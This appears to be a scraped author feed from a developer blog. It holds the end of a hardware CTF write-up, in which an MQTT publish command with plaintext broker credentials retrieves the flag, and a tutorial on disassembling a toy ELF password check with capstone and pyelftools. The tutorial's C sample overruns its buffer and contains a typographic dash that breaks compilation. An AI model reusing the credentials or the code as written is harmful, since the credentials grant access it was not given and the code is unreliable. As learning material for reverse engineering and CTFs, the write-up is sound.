For those out-of-the-loop, MQTT is the protocol used in IoT based client-server interactions, among other things. Go read about it if you want to understand the next bit.

Capturing the flag

To interact with the MQTT server, we’ll be using the Mosquitto client. We then use the credentials and attempt to “publish” a message:



› mosquitto_pub -h 'm16.cloudmqtt.com' -p 17551 -t 'inTopic/web/test' -u 'hchzbuhr' -P 'Sz4plHnlVnHc' -m '(^.^)'

UwU

After messing around with this for quite a bit (as is evident from the screen behind), we tried sending the string ‘flag’ as our message and… *dramatic pause* we got what you’d expect.

We were 10 days late, mind you

Conclusion

This was our first time playing a hardware CTF, and to be honest, there wasn’t much of “hacking” involved — at least by the word’s textbook definition. A lot of guesswork too, which made some parts of it excruciatingly painful to figure out. But all things considered, it was probably the most fun CTF I’ve played yet. Here’s a shoutout to the folks at SL7 for making this CTF and letting us keep the ESP :)

That’s it. The end.

P.S.: Big thanks to Raghav (info below) for helping me solve this CTF

I’m Raghav, a CS undergrad, focusing on hardware security. I go by “vologue” on the Internet.

Links

I’m Anirudh, also a CS undergrad, focusing on offensive security and digital forensics. I go by “icyphox” on the Internet.

Links

Feel free to shoot me a mail at icyph0x@pm.me.

Python for Reverse Engineering #1: ELF Binaries

Anirudh — Thu, 07 Feb 2019 18:59:09 +0000

That’s radare2. No, our scripts don’t look anything like this :(

Building your own disassembly tooling for — that’s right — fun and profit

While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.

Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.

Setup

As the title suggests, you’re going to need a Python 3 interpreter before

anything else. Once you’ve confirmed beyond reasonable doubt that you do,

in fact, have a Python 3 interpreter installed on your system, run



$ pip install capstone pyelftools

where capstone is the disassembly engine we’ll be scripting with and pyelftools to help parse ELF files.

With that out of the way, let’s start with an example of a basic reversing

challenge.



/\* chall.c \*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
   char \*pw = malloc(9);
   pw[0] = 'a';
   for(int i = 1; i <= 8; i++){
       pw[i] = pw[i — 1] + 1;
   }
   pw[9] = '\0';
   char \*in = malloc(10);
   printf("password: ");
   fgets(in, 10, stdin); // 'abcdefghi'
   if(strcmp(in, pw) == 0) {
       printf("haha yes!\n");
   }
   else {
       printf("nah dude\n");
   }
}

Compile it with GCC/Clang:



$ gcc chall.c -o chall.elf

Scripting

For starters, let’s look at the different sections present in the binary.



# sections.py

from elftools.elf.elffile import ELFFile

with open('./chall.elf', 'rb') as f:
    e = ELFFile(f)
    for section in e.iter\_sections():
        print(hex(section[’sh\_addr’]), section.name)

This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us



› python sections.py
0x238 .interp
0x254 .note.ABI-tag
0x274 .note.gnu.build-id
0x298 .gnu.hash
0x2c0 .dynsym
0x3e0 .dynstr
0x484 .gnu.version
0x4a0 .gnu.version\_r
0x4c0 .rela.dyn
0x598 .rela.plt
0x610 .init
0x630 .plt
0x690 .plt.got
0x6a0 .text
0x8f4 .fini
0x900 .rodata
0x924 .eh\_frame\_hdr
0x960 .eh\_frame
0x200d98 .init\_array
0x200da0 .fini\_array
0x200da8 .dynamic
0x200f98 .got
0x201000 .data
0x201010 .bss
0x0 .comment
0x0 .symtab
0x0 .strtab
0x0 .shstrtab

Most of these aren’t relevant to us, but a few sections here are to be noted. The .text section contains the instructions (opcodes) that we’re after. The .data section should have strings and constants initialized at compile time. Finally, the .plt which is the Procedure Linkage Table and the .got, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.

Since we know that the .text section has the opcodes, let’s disassemble the binary starting at that address.



# disas1.py

from elftools.elf.elffile import ELFFile
from capstone import \*

with open('./bin.elf', 'rb') as f:
    elf = ELFFile(f)
    code = elf.get\_section\_by\_name('.text')
    ops = code.data()
    addr = code['sh\_addr']
    md = Cs(CS\_ARCH\_X86, CS\_MODE\_64)
    for i in md.disasm(ops, addr):        
        print(f'0x{i.address:x}:\t{i.mnemonic}\t{i.op\_str}')

The code is fairly straightforward (I think). We should be seeing this, on running



› python disas1.py | less      
0x6a0: xor ebp, ebp
0x6a2: mov r9, rdx
0x6a5: pop rsi
0x6a6: mov rdx, rsp
0x6a9: and rsp, 0xfffffffffffffff0
0x6ad: push rax
0x6ae: push rsp
0x6af: lea r8, [rip + 0x23a]
0x6b6: lea rcx, [rip + 0x1c3]
0x6bd: lea rdi, [rip + 0xe6]
**0x6c4: call qword ptr [rip + 0x200916]**
0x6ca: hlt
... snip ...

The line in bold is fairly interesting to us. The address at [rip + 0x200916] is equivalent to [0x6ca + 0x200916], which in turn evaluates to 0x200fe0. The first call being made to a function at 0x200fe0? What could this function be?

For this, we will have to look at relocations. Quoting linuxbase.org

Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.

To try and find these relocation entries, we write a third script.



# relocations.py

import sys
from elftools.elf.elffile import ELFFile
from elftools.elf.relocation import RelocationSection

with open('./chall.elf', 'rb') as f:
    e = ELFFile(f)
    for section in e.iter\_sections():
        if isinstance(section, RelocationSection):
            print(f'{section.name}:')
            symbol\_table = e.get\_section(section['sh\_link'])
            for relocation in section.iter\_relocations():
                symbol = symbol\_table.get\_symbol(relocation['r\_info\_sym'])
                addr = hex(relocation['r\_offset'])
                print(f'{symbol.name} {addr}')

Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type RelocationSection. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us



› python relocations.py
.rela.dyn:
 0x200d98
 0x200da0
 0x201008
\_ITM\_deregisterTMCloneTable 0x200fd8
**\_\_libc\_start\_main 0x200fe0**
\_\_gmon\_start\_\_ 0x200fe8
\_ITM\_registerTMCloneTable 0x200ff0
\_\_cxa\_finalize 0x200ff8
stdin 0x201010
.rela.plt:
puts 0x200fb0
printf 0x200fb8
fgets 0x200fc0
strcmp 0x200fc8
malloc 0x200fd0

Remember the function call at 0x200fe0 from earlier? Yep, so that was a call to the well known __libc_start_main. Again, according to linuxbase.org

The __libc_start_main() function shall perform any necessary initialization of the execution environment, call the main function with appropriate arguments, and handle the return from main(). If the main() function returns, the return value shall be passed to the exit() function.

And its definition is like so



int \_\_libc\_start\_main(int \*(main) (int, char \* \*, char \* \*), int argc, char \* \* ubp\_av, void (\*init) (void), void (\*fini) (void), void (\*rtld\_fini) (void), void (\* stack\_end));

Looking back at our disassembly



0x6a0: xor ebp, ebp
0x6a2: mov r9, rdx
0x6a5: pop rsi
0x6a6: mov rdx, rsp
0x6a9: and rsp, 0xfffffffffffffff0
0x6ad: push rax
0x6ae: push rsp
0x6af: lea r8, [rip + 0x23a]
0x6b6: lea rcx, [rip + 0x1c3]
**0x6bd: lea rdi, [rip + 0xe6]**
0x6c4: call qword ptr [rip + 0x200916]
0x6ca: hlt
... snip ...

but this time, at the lea or Load Effective Address instruction, which loads some address [rip + 0xe6] into the rdi register. [rip + 0xe6] evaluates to 0x7aa which happens to be the address of our main() function! How do I know that? Because __libc_start_main(), after doing whatever it does, eventually jumps to the function at rdi, which is generally the main() function. It looks something like this

To see the disassembly of main, seek to 0x7aa in the output of the script we’d written earlier (disas1.py).

From what we discovered earlier, each call instruction points to some function which we can see from the relocation entries. So following each call into their relocations gives us this



printf 0x650
fgets 0x660
strcmp 0x670
malloc 0x680

Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.



0x7b2: mov edi, 0xa ; 10
0x7b7: call 0x680 ; malloc

The loop to populate the *pw string



0x7d0: mov eax, dword ptr [rbp - 0x14]
0x7d3: cdqe    
0x7d5: lea rdx, [rax - 1]
0x7d9: mov rax, qword ptr [rbp - 0x10]
0x7dd: add rax, rdx
0x7e0: movzx eax, byte ptr [rax]
0x7e3: lea ecx, [rax + 1]
0x7e6: mov eax, dword ptr [rbp - 0x14]
0x7e9: movsxd rdx, eax
0x7ec: mov rax, qword ptr [rbp - 0x10]
0x7f0: add rax, rdx
0x7f3: mov edx, ecx
0x7f5: mov byte ptr [rax], dl
0x7f7: add dword ptr [rbp - 0x14], 1
0x7fb: cmp dword ptr [rbp - 0x14], 8
0x7ff: jle 0x7d0

And this looks like our strcmp()



0x843: mov rdx, qword ptr [rbp - 0x10] ; \*in
0x847: mov rax, qword ptr [rbp - 8] ; \*pw
0x84b: mov rsi, rdx             
0x84e: mov rdi, rax
0x851: call 0x670 ; strcmp  
0x856: test eax, eax ; is = 0? 
0x858: jne 0x868 ; no? jump to 0x868
0x85a: lea rdi, [rip + 0xae] ; "haha yes!" 
0x861: call 0x640 ; puts
0x866: jmp 0x874
0x868: lea rdi, [rip + 0xaa] ; "nah dude"
0x86f: call 0x640 ; puts

I’m not sure why it uses puts here? I might be missing something; perhaps printf calls puts. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.

Conclusion

Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this immensely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.

All the code used in this post is here: https://github.com/icyphox/asdf/tree/master/reversing-elf

Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.

I’m Anirudh, a CS undergrad, focusing on offensive security and digital forensics. I go by “icyphox” on the Internet.

Links

Feel free to shoot me a mail at icyph0x@pm.me.

Let's talk about the new CoC for Linux

Anirudh — Tue, 18 Sep 2018 08:22:44 +0000

I'm personally not in favour of the new Code of Conduct, as I feel it is unnecessarily political.

What're your thoughts?

Share your editor's colorscheme!

Anirudh — Mon, 13 Aug 2018 13:46:47 +0000

Mine is base16-material-palenight, from the amazing base16 project. What's yours?

I'm 18 and I do systems security, Ask Me Anything!

Anirudh — Sun, 12 Aug 2018 14:30:46 +0000

Hey guys, I'm a systems security engineer at a local startup. I've been into infosec since 8th grade. I'm (obviously) still learning, and gearing towards an OSCP. Ask me anything!

DEV Community: Anirudh

Hacky scripts

Now playing status in my bar

Update latest post on the index page

Thoughts on digital minimalism

The phone

The computer

Disinformation demystified

Creating disinformation

Motivations behind an information operation

Media used to disperse disinfo

The actors behind disinfo campaigns

Personal OPSEC

Conclusion

Setting up my personal mailserver

What’s available

So… docker-mailserver

Why would you…?

Privacy

Decentralization

Personalization

Picking the FB50 smart lock (CVE-2019-13143)

The lock

Via Bluetooth Low Energy (BLE)

Via the Android app

The exploit

Request 1

Request 2

Request 3

Request 4

That’s it! (& the scary stuff)

Proof of Concept

Disclosure timeline

Lessons learnt

Researcher info

Return Oriented Programming on ARM (32-bit)

Setup

A primer on ROP

Exploring our binary

Messing around with inputs :)

The exploit

Conclusion

Break the Ice — Hardware CTF

Break the Ice — Hardware CTF

SecureLayer7’s hardware CTF at Nullcon ’19, Goa

The Hardware

Flash dump analysis

Connecting to “Device-6”

The telnet server

Capturing the flag

Conclusion

Links

Links

Python for Reverse Engineering #1: ELF Binaries

Building your own disassembly tooling for — that’s right — fun and profit

Setup

Scripting

Conclusion

Links

Let's talk about the new CoC for Linux

Share your editor's colorscheme!

I'm 18 and I do systems security, Ask Me Anything!

So… `docker-mailserver`

Messing around with inputs :⁾